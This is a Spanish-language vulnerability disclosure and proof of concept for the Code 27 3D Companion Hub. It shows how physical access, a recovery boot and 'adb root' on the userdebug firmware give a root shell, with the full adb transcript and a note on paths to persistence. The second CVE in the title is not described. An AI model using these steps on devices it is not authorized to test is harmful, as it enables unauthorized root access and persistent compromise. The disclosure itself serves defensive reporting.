Prueba de concepto para CVE-2026-36027 y CVE-2026-36028
El Code 27 3D Companion Hub es un dispositivo físico de escritorio que representa un personaje de IA personalizado (un "Codie") como un compañero 3D animado. Los usuarios pueden subir o crear cualquier modelo 3D, y la IA multimodal permite que el personaje vea su entorno, lea el tono y el lenguaje corporal, y mantenga conversaciones abiertas.
Este informe cubre dos vulnerabilidades que requieren acceso físico al dispositivo. Ambas fueron validadas contra la compilación que se indica a continuación y, al momento de la publicación, no tienen parche.
| Campo | Valor |
|---|---|
| Producto | Code 27 3D Companion Hub |
| Versión de la interfaz del Companion Hub | 1.2.0 |
| SoC / placa | Rockchip RK3588S (rk3588s_yt921) |
| SO | Android 12 |
| ID de compilación | SQ3A.220705.003.A1 |
| Fingerprint completo | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| Tipo de compilación | userdebug / release-keys |
El firmware incluido es una compilación userdebug (visible en el banner de recovery y en ro.build.display.id). Las compilaciones userdebug permiten reiniciar adbd como root mediante adb root, lo cual es un facilitador clave para que exista CVE-2026-36027.
Un atacante físicamente cercano puede iniciar el Companion Hub en el recovery de Android y obtener un shell ADB con privilegios de root (uid=0, contexto SELinux u:r:su:s0). Debido a que el dispositivo incluye una compilación userdebug, adbd puede reiniciarse como root con adb root, lo que otorga al atacante interacción de lectura/escritura con el entorno de recovery, la capacidad de enumerar propiedades de compilación y hardware, y acceso a las funciones de recovery (sideload, fastboot, operaciones de particiones).
El acceso obtenido se encuentra dentro del ramdisk de recovery, no en el runtime de Android en ejecución. En las pruebas, la acción Mount /system del recovery falló (libfs_mgr no pudo abrir /dev/block/by-name/system), por lo que la partición del sistema no se montó directamente a través de esta vía, y el entorno de usuario iniciado, con el kiosco y cualquier dato de usuario descifrado, no se presenta en este modo.
Esto sigue siendo importante porque el acceso root al entorno de recovery es la base para modificar el estado persistente del dispositivo (por ejemplo, escribir en particiones o aplicar un paquete de actualización manipulado) de modo que el código controlado por el atacante pueda ejecutarse en un arranque normal posterior, estableciendo un punto de apoyo en el dispositivo en ejecución.
Mount /system, resáltelo y confirme. Parecerá que falla. Esto es lo esperado y el exploit sigue funcionando. (El registro de recovery muestra que libfs_mgr no puede abrir /dev/block/by-name/system).PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12